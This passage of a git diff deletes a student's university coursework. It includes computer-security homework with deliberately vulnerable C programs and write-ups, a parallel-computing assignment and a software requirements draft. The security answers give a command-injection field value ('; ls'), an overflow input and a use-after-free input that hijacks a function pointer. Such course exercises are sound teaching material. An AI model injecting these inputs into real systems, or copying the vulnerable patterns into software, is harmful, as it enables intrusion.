wfd; - char *buf; - stat(pathname, &f); - stat("./critical", &we); - if (f.st_dev == we.st_dev && f.st_ino == we.st_ino) { - return; - } - rfd = open(pathname, O_RDONLY); - buf = malloc(f.st_size - 1); - read(rfd, buf, f.st_size - 1); - close(rfd); - stat(pathname, &f); - if (f.st_dev == we.st_dev && f.st_ino == we.st_ino) { - return; - } - wfd = open(pathname, O_WRONLY | O_TRUNC); - write(wfd, buf, f.st_size - 1); - close(wfd); - free(buf); -} - -int main() { silly_function("./not"); } \ No newline at end of file diff --git a/csci5271/hw1/hw1p3.c b/csci5271/hw1/hw1p3.c deleted file mode 100644 index 53ecc96..0000000 --- a/csci5271/hw1/hw1p3.c +++ /dev/null @@ -1,25 +0,0 @@ -#include -#include - -void payment(char *name, double amount_cny, char *purpose, int purpose_len) -{ - double amount_usd = amount_cny / 6.466; - char memo[40]; - strcpy(memo, "Payment for: "); - memcpy(memo + strlen(memo), purpose, purpose_len); - //write_check(name, amount_usd, memo); - printf("address of amount_usd: %p\naddress of memo: %p\n", &amount_usd, memo); - printf("purpose_len: %d\n", purpose_len); - printf("amount_usd: %f\npurpose: %s\n", amount_usd, purpose); - return; -} - -int main() -{ - char name[] = "username"; - double amount_cny = 646.60; - char purpose[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; - int purpose_len = strlen(purpose); - payment(name, amount_cny, purpose, purpose_len); - return 0; -} \ No newline at end of file diff --git a/csci5271/hw1/hw1p4.c b/csci5271/hw1/hw1p4.c deleted file mode 100644 index 4526e43..0000000 --- a/csci5271/hw1/hw1p4.c +++ /dev/null @@ -1,32 +0,0 @@ -#include - -/* Reverse the elements from FROM to TO, inclusive */ -void reverse_range(int *a, int from, int to) -{ - unsigned int *p = &a[from]; - unsigned int *q = &a[to]; - /* Until the pointers move past each other: */ - while (!(p == q + 1 || p == q + 2)) - { - /* Swap *p with *q, without using a temporary variable */ - *p += *q; /* *p == P + Q */ - *q = *p - *q; /* *q == P + Q - Q = P */ - *p = *p - *q; /* *p == P + Q - P = Q */ - /* Advance pointers towards each other */ - p++; - q--; - } -} - -int main() -{ - int a[10] = {255, 0, -65536, 2147483647, -2147483648, - -1, 0, 1, 2, 3}; - reverse_range(a, 9, 0); - for (int i = 0; i < 10; i++) - { - printf("%d ", a[i]); - } - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/csci5271/hw1/hw1writeup.md b/csci5271/hw1/hw1writeup.md deleted file mode 100644 index 721d669..0000000 --- a/csci5271/hw1/hw1writeup.md +++ /dev/null @@ -1,120 +0,0 @@ -# Homework 1 - -## Q1 - -### Database Threat Model - -The main threat of the model is accessing the database. Any access to the server of the database is considered a threat because it can potentially be used as a vector for privilege escalation and database access. The server can be accessed either over a network that may or may not exist or directly connecting to the machine itself. - -The potential attackers would be any students or other users who potentially have access to the machine with the database. - -The most reasonable attacks would be guessing the credentials to access the database, most likely by brute forcing a password if one exists. - -Impossible threats would be from people and devices that cannot access the machine containing the database. - -### Without Network - -Without networking hardware, one major threat vector (the network) is gone. - -One way to mitigate threats is to encrypt the database and the computer containing the database with a password resistant to brute forcing if someone were to obtain the computer. If the algorithm is slow, an old computer could be even more slowed down by the decryption. - -Another way to mitigate threats is to lock the computer up when it is not being used. - -## Q2 - -### A: Perl - -After adding a name to the request, add a semicolon followed by the command. The semicolon is the shell command separator which allows it to parse new commands. - -#### Example Request Body - -```perl -'field-name=; ls' -``` - -#### Fixes (taken from ) - -One way to fix the script would be replacing the unsafe `last -1000 | grep $username_to_look_for` command with a more safe call that cannot be hijacked for arbitrary code execution. Another way would be rewriting the script to prevent the shell being run at all. - -### B: C - - - -## Q3 - -Overfilling the buffer normally causes the program to crash from stack smashing. This can be undone by finding the canary value and using it to overwrite the canary value after the buffer overflow. The CFI can be beaten by jumping to a known legal target. - -On big and little endian machines, the byte order is reversed. - -## Q4 - -### A - -#### Mistake 1: Potentially overloading the array - -If the function is called with `to` larger than outer bound of the array, there is a buffer overflow that happens. For example, running it by default with an array of size 10 with a `to` of 11 on gcc 11.1 causes it to crash because of stack smashing. - -#### Mistake 2: Negative numbers the array - -If the function is called with `from` smaller than 0 will cause the array to look at addresses before the array, potentially causing the program to segfault. - -#### Mistake 3: Swapping the to and from - -If the function is called with `from` larger than `to`, the program will segfault from accessing invalid memory addresses. - -### B: Same Signature - -```c -void reverse_range(int *a, int from, int to) { - //Not sure how to check if to is too big - if (from < 0 || to < from) - return; - for (int i = from; i < to; i++) { - int temp = a[i]; - a[i] = a[to]; - a[to] = temp; - to--; - } -} - -``` - -### C: Different Signature - -```c - void reverse_range(int *arr, int arrSize, int from, int to) { - //Program should exit if it works backwards or goes out of bounds - if (from < 0 || to >= arrSize || to < from) - return; - for (int i = from; i < to; i++) { - int temp = arr[i]; - arr[i] = arr[to]; - arr[to] = temp; - to--; - } - return; - } -``` - -The main difference is that the function needs the size of the array since it can't be found from the function itself. - -## Q5 - -### A - -Start out with the binary representation of 20, 00010100. Then shift the bits to the right and toggle bit 31. Then left shift (multiply by 2) and you get 20. -2147483668 and 2 are two numbers that give 20 when multiplied. -Also works with 1073741829 and 4. - -### B - -The easiest way at first would seems like it would be to get the largest unsigned integer, divide it by 7 and add 3 to get the overflow to 20, getting back to multiplying and you get 7. The problem is that doesn't work. You get 17. -The next thing to try is doubling the integer and adding 20 to get it to overflow twice. Thankfully `0x200000014` is cleanly divisible by 7. - -`200000014*7=20` - -### C - -```c - printf("$1%.27d spear%c%.0x %.7sion %o\n", 0, 104, 962029, "evacuate", 13023); -``` diff --git a/csci5271/hw2/ex2-animals.c b/csci5271/hw2/ex2-animals.c deleted file mode 100644 index 983d2b5..0000000 --- a/csci5271/hw2/ex2-animals.c +++ /dev/null @@ -1,131 +0,0 @@ -#include -#include -#include - -typedef void (*toes_func)(void); - -void even_toes(void) { - printf("with even-toed hoofs"); -} - -void odd_toes(void) { - printf("with odd-toed hoofs"); -} - -/* Assume this function has the address 0x4012ce */ -void shellcode(void) { - printf("Uh-oh, this looks like some sort of attack\n"); - exit(42); -} - -struct herbivore { - struct herbivore *next; - toes_func func; -}; - -struct herbivore *herbivore_list = 0; - -struct carnivore { - struct carnivore *next; - long num_teeth; -}; - -struct carnivore *carnivore_list = 0; - -#define NUM_ANIMALS 256 - -/* Initialized to all null pointers */ -void *animals_by_num[NUM_ANIMALS]; - -void new_herbivore(long x) { - int loc = x & (NUM_ANIMALS - 1); - struct herbivore *hp = malloc(sizeof(struct herbivore)); - printf("Allocating herbivore at %p\n", hp); - if (!hp) - exit(1); - if (x & 1) - hp->func = odd_toes; - else - hp->func = even_toes; - hp->next = herbivore_list; - herbivore_list = hp; - animals_by_num[loc] = hp; -} - -void new_carnivore(long x) { - int loc = x & (NUM_ANIMALS - 1); - struct carnivore *cp = malloc(sizeof(struct carnivore)); - printf("Allocating carnivore at %p\n", cp); - if (!cp) - exit(1); - cp->num_teeth = x; - cp->next = carnivore_list; - carnivore_list = cp; - animals_by_num[loc] = cp; -} - -void release_animal(long x) { - int loc = x & (NUM_ANIMALS - 1); - if (!animals_by_num[loc]) { - fprintf(stderr, "Attempt to release non-existant animal\n"); - exit(1); - } - free(animals_by_num[loc]); - animals_by_num[loc] = 0; -} - -void list_animals(void) { - struct herbivore *hp; - struct carnivore *cp; - for (hp = herbivore_list; hp; hp = hp->next) { - printf("A herbivore "); - (hp->func)(); - printf("\n"); - } - - for (cp = carnivore_list; cp; cp = cp->next) { - printf("A carnivore with %ld teeth\n", cp->num_teeth); - } -} - -void syntax_error(void) { - fprintf(stderr, "Unrecognized syntax\n"); - exit(1); -} - -int main(int argc, char **argv) { - for (;;) { - int c = getchar(); - long x; - while (isspace(c)) - c = getchar(); - if (c == EOF) - return 0; - switch (c) { - case 'h': - if (scanf(" %li", &x) != 1) - syntax_error(); - new_herbivore(x); - break; - case 'c': - if (scanf(" %li", &x) != 1) - syntax_error(); - new_carnivore(x); - break; - case 'r': - if (scanf(" %li", &x) != 1) - syntax_error(); - release_animal(x); - break; - case 'l': - list_animals(); - break; - case 'q': - return 0; - break; - default: - fprintf(stderr, "Unrecognized command %c\n", c); - exit(1); - } - } -} diff --git a/csci5271/hw2/ex2-template.tex b/csci5271/hw2/ex2-template.tex deleted file mode 100644 index faf0be8..0000000 --- a/csci5271/hw2/ex2-template.tex +++ /dev/null @@ -1,66 +0,0 @@ -\documentclass[11pt]{article} -\usepackage{fullpage}\usepackage{listings} -\usepackage{graphicx} -\usepackage{times} - -\begin{document} -\begin{center} -CSci 5271 Fall 2021 Exercise Set 2 answers -\end{center} -\graphicspath{{./}} - -\vspace{10pt} - -\begin{tabular}{|p{2.6in}|p{2.6in}|}\hline -Name & UMN email address\\\hline -Matt Strapp & strap012@umn.edu \\\hline -\end{tabular} - -\vspace{10pt} - -Question 1 (buffer overflows and invariants, 25 pts): - -Example input that causes a buffer overflow: -\begin{verbatim} - "{}{}{}{}{}{}{}{}{}{}" -\end{verbatim} - -A list of invariants for the transform function: -\begin{itemize} - \item bp is increased by one for every opening brace or bracket and goes down by one for every closing brace or bracket. (this gets violated) - \item The brace/bracket level is equal to the number of opening braces or brackets respectively minus the number of closing brackets. - \item The rotation level is increased by 13 for every opening curly brace, resetting to 0 when equal to 26. -\end{itemize} -The change that needs to be made is to make sure that bp decrements when there is an opening curly brace regardless of the rotate amount. - -\newpage - -Question 2 (a heap-related vulnerability, 20 pts): -\begin{verbatim} - "h 0x4012ce r 0x4012ce c 0x4012ce l" - //(all of those commands are separated by \n) -\end{verbatim} - -This code is an example of a use-after-free exploit. The way this exploit works is first the program allocates the herbivore with 0x4012ce hooves and is immediately freed. A carnivore is then created with the same address as the previously freed herbivore. The \verb|l| then reads the previously freed herbivore's hooves value as a function and it executes herbivore's toe count as a function, which was set to the address of \verb|shellcode()|. - -\newpage - -Question 3 (reference monitor without hardware support, 15 pts): - -One way to to implement a software reference monitor is to introduce Mandatory Access Control. Mandatory access control will still prevent malicious actors from accessing unwanted data even if they become the root user. SELinux would be a good example of non-hardware reference monitors. - -\newpage - -Question 4 (sharing files on Unix, 20 pts): - -The program does not check that the user is supposed to write the output file in read or read the input file in write, allowing potentially arbitrary read/write privileges. This can be solved by implementing that check. -The list of users with access would need to be updated frequently to ensure that someone properly loses access. A possible mitigation problem would be automating actively updating the list of users with and without access but that might not be possible. -The program also implies that the user running the program is actually the real user and not someone impersonating them. The problem with impersonating could be solved with passwords but those can be cracked. - -\newpage - -Question 5 (Multilevel-secure classification, 20 pts): - -\includegraphics{lattice} - -\end{document} diff --git a/csci5271/hw2/ex2-transform.c b/csci5271/hw2/ex2-transform.c deleted file mode 100644 index b857042..0000000 --- a/csci5271/hw2/ex2-transform.c +++ /dev/null @@ -1,103 +0,0 @@ -#include -#include -#include - -char rot_char(char c, int amt) { - if (c >= 'A' && c <= 'Z') - return 'A' + ((c - 'A') + amt) % 26; - else if (c >= 'a' && c <= 'z') - return 'a' + ((c - 'a') + amt) % 26; - else - return c; -} - -void transform(char *inputBuffer, char *outputBuffer, int inLimit) { - char *inputPointer = inputBuffer; - char *outputPointer = outputBuffer; - char *outLimit = &outputBuffer[inLimit - 8]; - char c; - int in_underline, last_underline, rotate_amount, skipping; - int bracket_level, brace_lvl; - in_underline = bracket_level = brace_lvl = last_underline = rotate_amount = skipping = 0; - - while ((c = *inputPointer++) != '\0') { - if (bracket_level > 0) - c = toupper(c); - - c = rot_char(c, rotate_amount); - - if (c == '/') - in_underline = !in_underline; - - skipping = (outputPointer >= outLimit); - if ((unsigned)c - (unsigned)'[' < 3u && c != '\\') { - int i = (c & 2) ? 1 : -1; - if (bracket_level + i >= 0 && !skipping) { - bracket_level += i; - outLimit -= i; - } - } - - if (c == '{') { - if (!skipping) { - brace_lvl++; - } - rotate_amount += 13; - if (rotate_amount == 26) { - rotate_amount = 0; - outLimit -= 2; - } - } - if (c == '}' && brace_lvl > 0) { - if (!skipping) { - brace_lvl--; - outLimit++; - } - rotate_amount -= 13; - if (rotate_amount < 0) - rotate_amount = 0; - } - - if (in_underline && isalpha(c) && !last_underline && !skipping) - *outputPointer++ = '_'; - - if (c != '/' && !skipping) - *outputPointer++ = c; - - if (in_underline && isalpha(c)) { - if (!skipping) - *outputPointer++ = '_'; - last_underline = 1; - } else { - last_underline = 0; - } - } - while (bracket_level-- > 0) - *outputPointer++ = ']'; - while (brace_lvl-- > 0) - *outputPointer++ = '}'; - *outputPointer++ = ' '; - *outputPointer++ = 'e'; - *outputPointer++ = 'n'; - *outputPointer++ = 'd'; - *outputPointer++ = '\0'; -} - -int main(int argc, char **argv) { - char buf[64]; - if (argc != 2) { - fprintf(stderr, "Usage: transform \n"); - fprintf(stderr, "You should probably use quotes around the string.\n"); - return 1; - } - printf("%s\n", argv[1]); - buf[20] = '\242'; - transform(argv[1], buf, 20); - printf("%s\n", buf); - /* This canary-like check isn't foolproof, and it isn't the point - of the exercise, but for testing purposes it makes it easy to - see that an overflow has happened. */ - if (buf[20] != '\242') - fprintf(stderr, "Overflow detected\n"); - return 0; -} diff --git a/csci5271/hw2/lattice.png b/csci5271/hw2/lattice.png deleted file mode 100644 index 3b96eed..0000000 Binary files a/csci5271/hw2/lattice.png and /dev/null differ diff --git a/csci5271/hw4/ex4-template.tex b/csci5271/hw4/ex4-template.tex deleted file mode 100644 index 1ade998..0000000 --- a/csci5271/hw4/ex4-template.tex +++ /dev/null @@ -1,88 +0,0 @@ -\documentclass[11pt]{article} -\usepackage{fullpage} -\usepackage{times} - -\begin{document} -\begin{center} -CSci 5271 Fall 2021 Exercise Set 4 answers template -\end{center} - -Please use this document as a template for submitting your answers to -exercise set 4. (This template is available from the course web site -in either LaTeX or Google Doc formats). Type your answers on each page -after the question prompt (you can use additional pages, though that -we expect that would rarely be required). If you can write all your -answers electronically, please do so and export to a PDF to submit. -If you would prefer to hand-draw figures, you can also submit a scan. - -Please ensure that the names and UMN email addresses of all of your -group members are recorded on Gradescope, and also confirm them below: - -\vspace{10pt} - -\begin{tabular}{|p{2.6in}|p{2.6in}|}\hline - Name & UMN email address\\\hline - Matt Strapp & strap012@umn.edu \\\hline -\end{tabular} - -\vspace{10pt} - -Question 1 (Entropy in blackjack, 36 pts): - -Part 1(a), seed with time - -Having a predictable time seed will help an attacker brute force the seed by reducing the number of possible guesses needed. - -\vspace{2in} - -Part 1(b), seed with PID - -Having such a small number of seeds allows a malicious user to brute force guessing the seed. - -Related CVE: https://nvd.nist.gov/vuln/detail/CVE-2008-0166 - -\newpage - -Part 1(c), seed with time XOR PID - -This is the same problem as part 1(a), the seed size is too small. This can be brute forced by an attacker. - -\vspace{3in} - -Part 1(d), your approach - -One possible implementation of the seed is to start out with concatenating the PID onto the time (time + PID, where the time is the one appended to), XOR the new number with the time, and encoding the result with base64. -The main point of this approach is to broaden the possible number of seeds, making it significantly longer if not functionally infeasible to brute force. - -\newpage - -Question 2 (Cross-site scripting, 18 pts): - -Replace text/html with text/plain in the content type. This will cause the browser to display the page as plain text, not as HTML, mitigating the risk of cross-site scripting for this one use case. - -\vspace{3.5in} - -Question 3 (Delaying against DoS, 22 pts): - -No, it will not. A simple exploit of this module would be to simply have multiple devices behind different IPs all send singular requests to the server at various times, making sure to slowly delay the rate of requests. This would allow the server to be overwhelmed from a Distributed DoS (DDoS) attack. - -\newpage - -Question 4 (ViruSniff, 24 pts): - -Part 4(a), claim versus the halting problem - -(largely taken from https://www.cs.virginia.edu/~evans/pubs/virus.pdf) - -The problem does directly conflict with the halting problem. It is an \emph{example} of the halting problem. -The paper states that the antivirus problem that is perfectly effective will also be able to solve the halting problem, which was proven to be impossible by Turing. - -\vspace{3.5in} - -Part 4(b), the real ViruSniff algorithm - -What could be done is to insert the malicious code at a place that executes after 10000 instructions. This will never be labelled as a virus since the program does not look at the instructions beyond 10000. -Sam's claim is impossible. There cannot be a 100\% effective antivirus product. - - -\end{document} \ No newline at end of file diff --git a/csci5451/ass1.tex b/csci5451/ass1.tex deleted file mode 100644 index 24f2e0c..0000000 --- a/csci5451/ass1.tex +++ /dev/null @@ -1,139 +0,0 @@ -\documentclass[12pt]{article} -\usepackage{fullpage}\usepackage{listings} -\title{Assignment 1} -\author{Andrea Smith (smit9523@umn.edu), Matt Strapp (strap012@umn.edu)} -\date{2021-09-18} - -\begin{document} -\maketitle - \section{Question 1} - \subsection*{Overlapping Intervals} - The time for one message to be sent 1 hop is \(t_s+t_w*m/k\). After the first message is sent forward one hop, we account for the final message \((d-1)*t_w*m/k\), making the final expression - \[k(t_s+t_w+m/k)+((d-1)t_w*m/k)\] - \subsection*{Non-Overlapping Intervals} - \[t_{transfer} = t_s*k+t_w*d*m\] - \subsection*{} - For both cases, as \(k\) goes to \(m\), the time to transfer will increase greatly. If \(t_s\) is very large, the optimal value of \(k\) is 1. In other words, it is better to transfer the message all at once instead of in \(k\) parts. If \(t_s\) is 0 it has little to no effect on overall transmission time regardless of \(k\) being large or small. - \section{Question 2} - \subsection*{A} - Shared memory has all of the processors access one large pool of memory while distributed memory has each processor have a section of the memory. - \subsection*{B} - Distributed memory programs communicate via pipes and message queues while shared memory programs share memory with locks in place to prevent unintended behavior and race conditions. - \subsection*{C} - Shared memory is in most devices nowadays with even phones having multiple cores and a single bank of shared memory. Large rendering farms and HPC will have distributed memory to split rendering or to maximize performance. - \subsection*{D} - Distributed is easier to scale because the cluster can have nodes added or removed easily without affecting the other nodes. - \section{Question 3} - \subsection*{A}\ - \noindent Concurrency: 8\\ - Critical path length: 4\\ - Maximum achievable speedup: \(15/4\) \\ - Minimum number of processes needed: 8\\ - Maximum achievable speedup if the number of processes is limited to: - \begin{itemize} - \item[2]-- \(15/8\) - \item[4]-- \(15/5\) - \item[8]-- \(15/4\) - \end{itemize} - \subsection*{B} - Concurrency: 8\\ - Critical path length: \\ - Maximum achievable speedup: \\ - Minimum number of processes needed: \\ - Maximum achievable speedup if the number of processes is limited to: - \begin{itemize} - \item[2]-- \(15/8\) - \item[4]-- \(15/5\) - \item[8]-- \(15/4\) - \end{itemize} - \subsection*{C} - Concurrency: 8\\ - Critical path length: 7\\ - Maximum achievable speedup: \(14/7\)\\ - Minimum number of processes needed: \\ - Maximum achievable speedup if the number of processes is limited to: - \begin{itemize} - \item[2]-- \(14/10\) - \item[4]-- \(14/8\) - \item[8]-- \(14/7\) - \end{itemize} - \subsection*{D} - Concurrency: 2\\ - Critical path length: 8\\ - Maximum achievable speedup: \(15/8\)\\ - Minimum number of processes needed: 2\\ - Maximum achievable speedup if the number of processes is limited to: - \begin{itemize} - \item[2]-- \(15/8\) - \item[4]-- \(15/8\) - \item[8]-- \(15/8\) - \end{itemize} - - \section{Question 4} - \subsection*{A} - A[] is partitioned into uniform sub arrays that are of size N/P. Each process counts the frequency of every integer in the range R in its subarray. Each process then forwards its result to the next process, summing each integer count in its appropriate index until H[] is complete. - \subsection*{B} - Each process gets a subsection of the range of size R/P and all of A[]. Each process counts the frequency of the integers in its subsection. At the end each process forwards its result to the next process until the final process contains the array of counts H[]. - \subsection*{C} - Input Partitioning: - \begin{itemize} - \item Requires less memory bc each proc gets N/P - \item Almost always faster than output partitioning - \item IF \(R>>N\), could waste time looking for R values that aren’t even in A - \end{itemize} - Output Partitioning: - \begin{itemize} - \item Requires more memory because every process gets all of A[], potentially impossible depending on memory size. - \item Almost always slower unless \(R>>N\),, where input partitioning would waste time - \end{itemize} - \section{Question 5} - Propagate message to all of column 1: - \begin{displaymath} - t_{single}=t_s+t_w*m*C/2 - \end{displaymath} - \begin{displaymath} - t_{column}=\sum_{i=0}^{\log_2(C)-1} t_s+t_w*m*d - \end{displaymath} - After message propagates down the column, do the same for the rows in parallel. - \begin{displaymath} - t_{row}=\sum_{i=0}^{\log_2(R)-1} t_s+t_w*m*d - \end{displaymath} - The total time is the sum of the time along the rows and the columns. - \begin{displaymath} - t_{comm}=t_{column}+t_{row} - \end{displaymath} - - Pseudo code: - \begin{lstlisting}[language=C]] - //Assume first processor with message is (0,0) - for(int c=0;c<(C/2);c++) { - forward_message(0,c,msg); - } - int i=0, j=0; - //Column loop, parallelized between both messages - while(true) { - if (message is not in node) { - send_message(i,j++,msg); - } else { - break; - } - } - //Parallelized among all rows - for(int r=0;r<(r/2);r++) { - forward_message(r,0,msg); - } - //Row loop, parallelized between all rows with messages - while(true) { - if (message is not in node) { - send_message(i++,j,msg); - } else { - break; - } - } - \end{lstlisting} - \section{Question 6} - \subsection*{A} - Loops: One way to parallelize the heat problem is to compute the inner loop that computes H[t+1] values simultaneously. It would not be feasible to select the outer, doubly nested loop because t increments with every outer loop. You cannot parallelize a process that relies on the previous time. The other loops either display the chart or set the problem up which needs to be sequential. - \subsection*{B} - Let each processor have a single chunk of the rod, with the processors lined up so that the chunks are in a straight line shaped like the rod. Each node only needs to communicate with nodes directly adjacent to it as time progresses, minimizing the needed communication. -\end{document} \ No newline at end of file diff --git a/csci5451/ass1p6.c b/csci5451/ass1p6.c deleted file mode 100644 index d87eddd..0000000 --- a/csci5451/ass1p6.c +++ /dev/null @@ -1,103 +0,0 @@ -#include -#include -// HEAT TRANSFER SIMULATION -// -// Simple physical simulation of a rod connected at the left and right -// ends to constant temperature heat/cold sources. All positions on -// the rod are set to an initial temperature. Each time step, that -// temperature is altered by computing the difference between a cells -// temperature and its left and right neighbors. A constant k -// (thermal conductivity) adjusts these differences before altering -// the heat at a cell. Use the following model to compute the heat -// for a position on the rod according to the finite difference -// method. -// -// left_diff = H[t][p] - H[t][p-1]; -// right_diff = H[t][p] - H[t][p+1]; -// delta = -k*( left_diff + right_diff ) -// H[t+1][p] = H[t][p] + delta -// -// Substituting the above, one can get the following -// -// H[t+1][p] = H[t][p] + k*H[t][p-1] - 2*k*H[t][p] + k*H[t][p+1] -// -// The matrix H is computed for all time steps and all positions on -// the rod and displayed after running the simulation. The simulation -// is run for a fixed number of time steps rather than until -// temperatures reach steady state. - -int main(int argc, char **argv) -{ - int max_time = 50; // Number of time steps to simulate - int width = 20; // Number of cells in the rod - double initial_temp = 50.0; // Initial temp of internal cells - double L_bound_temp = 20.0; // Constant temp at Left end of rod - double R_bound_temp = 80.0; // Constant temp at Right end of rod - double k = 0.5; // thermal conductivity constant - double **H; // 2D array of temps at times/locations - - // Allocate memory - H = malloc(sizeof(double *) * max_time); - int t, p; - for (t = 0; t < max_time; t++) - { - H[t] = malloc(sizeof(double *) * width); - } - - // Initialize constant left/right boundary temperatures - for (t = 0; t < max_time; t++) - { - H[t][0] = L_bound_temp; - H[t][width - 1] = R_bound_temp; - } - - // Initialize temperatures at time 0 - t = 0; - for (p = 1; p < width - 1; p++) - { - H[t][p] = initial_temp; - } - - // Simulate the temperature changes for internal cells - for (t = 0; t < max_time - 1; t++) - { - for (p = 1; p < width - 1; p++) - { - double left_diff = H[t][p] - H[t][p - 1]; - double right_diff = H[t][p] - H[t][p + 1]; - double delta = -k * (left_diff + right_diff); - H[t + 1][p] = H[t][p] + delta; - } - } - - // Print results - printf("Temperature results for 1D rod\n"); - printf("Time step increases going down rows\n"); - printf("Position on rod changes going accross columns\n"); - - // Column headers - printf("%3s| ", ""); - for (p = 0; p < width; p++) - { - printf("%5d ", p); - } - printf("\n"); - printf("%3s+-", "---"); - for (p = 0; p < width; p++) - { - printf("------"); - } - printf("\n"); - // Row headers and data - for (t = 0; t < max_time; t++) - { - printf("%3d| ", t); - for (p = 0; p < width; p++) - { - printf("%5.1f ", H[t][p]); - } - printf("\n"); - } - - return 0; -} diff --git a/csci5801/a1.tex b/csci5801/a1.tex deleted file mode 100644 index c79ad75..0000000 --- a/csci5801/a1.tex +++ /dev/null @@ -1,266 +0,0 @@ -%Copyright 2014 Jean-Philippe Eisenbarth -%This program is free software: you can -%redistribute it and/or modify it under the terms of the GNU General Public -%License as published by the Free Software Foundation, either version 3 of the -%License, or (at your option) any later version. -%This program is distributed in the hope that it will be useful,but WITHOUT ANY -%WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A -%PARTICULAR PURPOSE. See the GNU General Public License for more details. -%You should have received a copy of the GNU General Public License along with -%this program. If not, see . - -%Based on the code of Yiannis Lazarides -%http://tex.stackexchange.com/questions/42602/software-requirements-specification-with-latex -%http://tex.stackexchange.com/users/963/yiannis-lazarides -%Also based on the template of Karl E. Wiegers -%http://www.se.rit.edu/~emad/teaching/slides/srs_template_sep14.pdf -%http://karlwiegers.com -\documentclass{scrreprt} -\usepackage{listings} -\usepackage{underscore} -\usepackage[bookmarks=true]{hyperref} -\usepackage[utf8]{inputenc} -\usepackage[english]{babel} -\usepackage{graphicx} -\graphicspath{{./img/}} -\def\myversion{1.0 } -\date{} -%\title{% - -%} -\usepackage{hyperref} -\begin{document} - -\begin{flushright} - \rule{16cm}{5pt}\vskip1cm - \begin{bfseries} - \Huge{SOFTWARE REQUIREMENTS\\ SPECIFICATION}\\ - \vspace{1.9cm} - for\\ - \vspace{1.9cm} - Sports League Administration Manager (SLAM)\\ - \vspace{1.9cm} - Prepared by Matt Strapp\\ - \vspace{1.9cm} - University of Minnesota\\ - \vspace{1.9cm} - \today\\ - \end{bfseries} -\end{flushright} - -\tableofcontents - - -\chapter{Introduction} - -\section{Purpose} - -The purpose is to provide a description for the Sports League Administration Manager (SLAM). It will explain the purposes, features, interfaces, and designed use cases for the system. This is intended for both the Minneapolis Parks and Recreation Board and the developers of the service. - -\section{Document Conventions} - -This Document made to comply with the IEEE Software Requirements Format. - -\section{Intended Audience and Reading Suggestions} -This document is designed to be read by the developers creating and maintaining SLAM, the administrators at the Minneapolis Parks and Recreation Board, and the athletes, league administrators, coaches, and other interested parties. - -\section{Project Scope} -SLAM will be used by Minneapolis Municipal Parks and Recreation to organize sports leagues throughout the city. The system will provide methods for creating, managing, and administering sports leagues as well as assign officials. The system will also allow coaches to create teams and add players to teams. - - -\section{References} -\noindent -Sports League Administration Manager (SLAM) Software Requirements \\ -\noindent -Sports League Administration Manager (SLAM) Use Cases - -\chapter{Overall Description} - -\section{Product Perspective} -\includegraphics[width=\textwidth]{diagram} \\ - -The Sports League Administration Manager is developed to organize a -$<$Describe the context and origin of the product being specified in this SRS. -For example, state whether this product is a follow-on member of a product -family, a replacement for certain existing systems, or a new, self-contained -product. If the SRS defines a component of a larger system, relate the -requirements of the larger system to the functionality of this software and -identify interfaces between the two. A simple diagram that shows the major -components of the overall system, subsystem interconnections, and external -interfaces can be helpful.$>$ - -\section{Product Functions} -$<$Summarize the major functions the product must perform or must let the user -perform. Details will be provided in Section 3, so only a high level summary -(such as a bullet list) is needed here. Organize the functions to make them -understandable to any reader of the SRS. A picture of the major groups of -related requirements and how they relate, such as a top level data flow diagram -or object class diagram, is often effective.$>$ - -\section{User Classes and Characteristics} -The system is divided into four users: administrators, officials, coaches, and the public. The roles are defined below. -\begin{itemize} - \item Administrators: - \begin{itemize} - \item Create and manage leagues - \item Create and manage league and tournament schedules - \item Generate user statistics on demand - \item Assign officials to leagues and games - \end{itemize} -\end{itemize} -Administrators include Staff members and the Parks and Recreation Organizer. They have the highest privilege level. Administrators are the ones in charge of creating leagues, scheduling games, and assigning officials. They also are the users that create statistics and deal with finances. -\begin{itemize} - \item Officials: - \begin{itemize} - \item Submit their availability to official games - \item Accept or reject games to officiate - \item View the schedule of games they need to attend - \item Submit scores when game is complete - \end{itemize} -\end{itemize} -Officials are responsible for submitting scores when games are over. They also are responsible for submitting their schedules so all games played have a sufficient number of officials. -\begin{itemize} - \item Coaches: - \begin{itemize} - \item Create teams - \item Add athletes to teams - \end{itemize} -\end{itemize} -Coaches are responsible for creating teams and adding athletes to teams. -\begin{itemize} - \item Athletes, the Public: - \begin{itemize} - \item View schedule - \end{itemize} -\end{itemize} -Athletes and other end users need to be able to view the schedule of games they plan on attending or playing in. - -\section{Assumptions and Dependencies} - -It is assumed that an external database and interface already exist. - -\chapter{System Features} - -\section{League Creation} - -\subsection{Description and Priority} -The system shall allow administrators to create leagues for sports. The system will list sports to create a league for and the user will select the sport. The system will then list the leagues that are available for the sport and the user will select the league. - -\subsection{Stimulus/Response Sequences} -A user must be logged in as an administrator to be able to create a league. The user submits the sport they want to create a league for and the system will respond by verifying the response and creating a new league if the response is valid. - -\subsection{Functional Requirements} -REQ-101: The system shall list all sports that leagues can be created for. \\ -REQ-102: The system shall validate the user input. \\ -REQ-103: The system shall return an error if the user tries to create a league for a sport that does not exist or is no longer allowing league creation. \\ -REQ-104: The system shall create the league after verifying the input. \\ -\indent Valid sports are as follows: Sand Volleyball, Kickball, Indoor Soccer, Softball, Outdoor Soccer, Tennis, Flag Football, Fall Soccer, Dodgeball, Indoor Volleyball, Fall Kickball, Fall Softball, Basketball, Broomball, and Pond Hockey. - - -\section{Schedule Generation} - -\subsection{Description and Priority} -The system shall allow administrators to create schedules for leagues. - -\subsection{Stimulus/Response Sequences} -A user must be signed in as an administrator. The user supplies a beginning and ending date for the schedule and the system will generate a schedule for the league. - -\subsection{Functional Requirements} - -REQ-201: The user must specify a start and end date for the league. \\ -REQ-202: The system shall verify the dates. The verification process is TBD. -REQ-203: The system shall generate a valid schedule for the league provided between the dates provided. The verification process for this is TBD.\\ -REQ-204: The system shall return an error if the dates are invalid. \\ -REQ-205: The system shall return an error if it cannot generate a schedule for the league. -REQ-206: The system shall return a valid generated schedule after it has validated the inputs. What constitutes a valid schedule is TBD. \\ - -\section{Team Creation} - - \subsection{Description and Priority} - The system shall allow coaches and administrators to register teams. - \subsection{Stimulus/Response Sequences} - A user must be signed in as a coach or administrator. The user supplies the name of the team and the system will create the team. The user must supply a valid roster and the league they want to register the team for. - \subsection{Functional Requirements} - REQ-301: The system shall validate the number of team members and return an 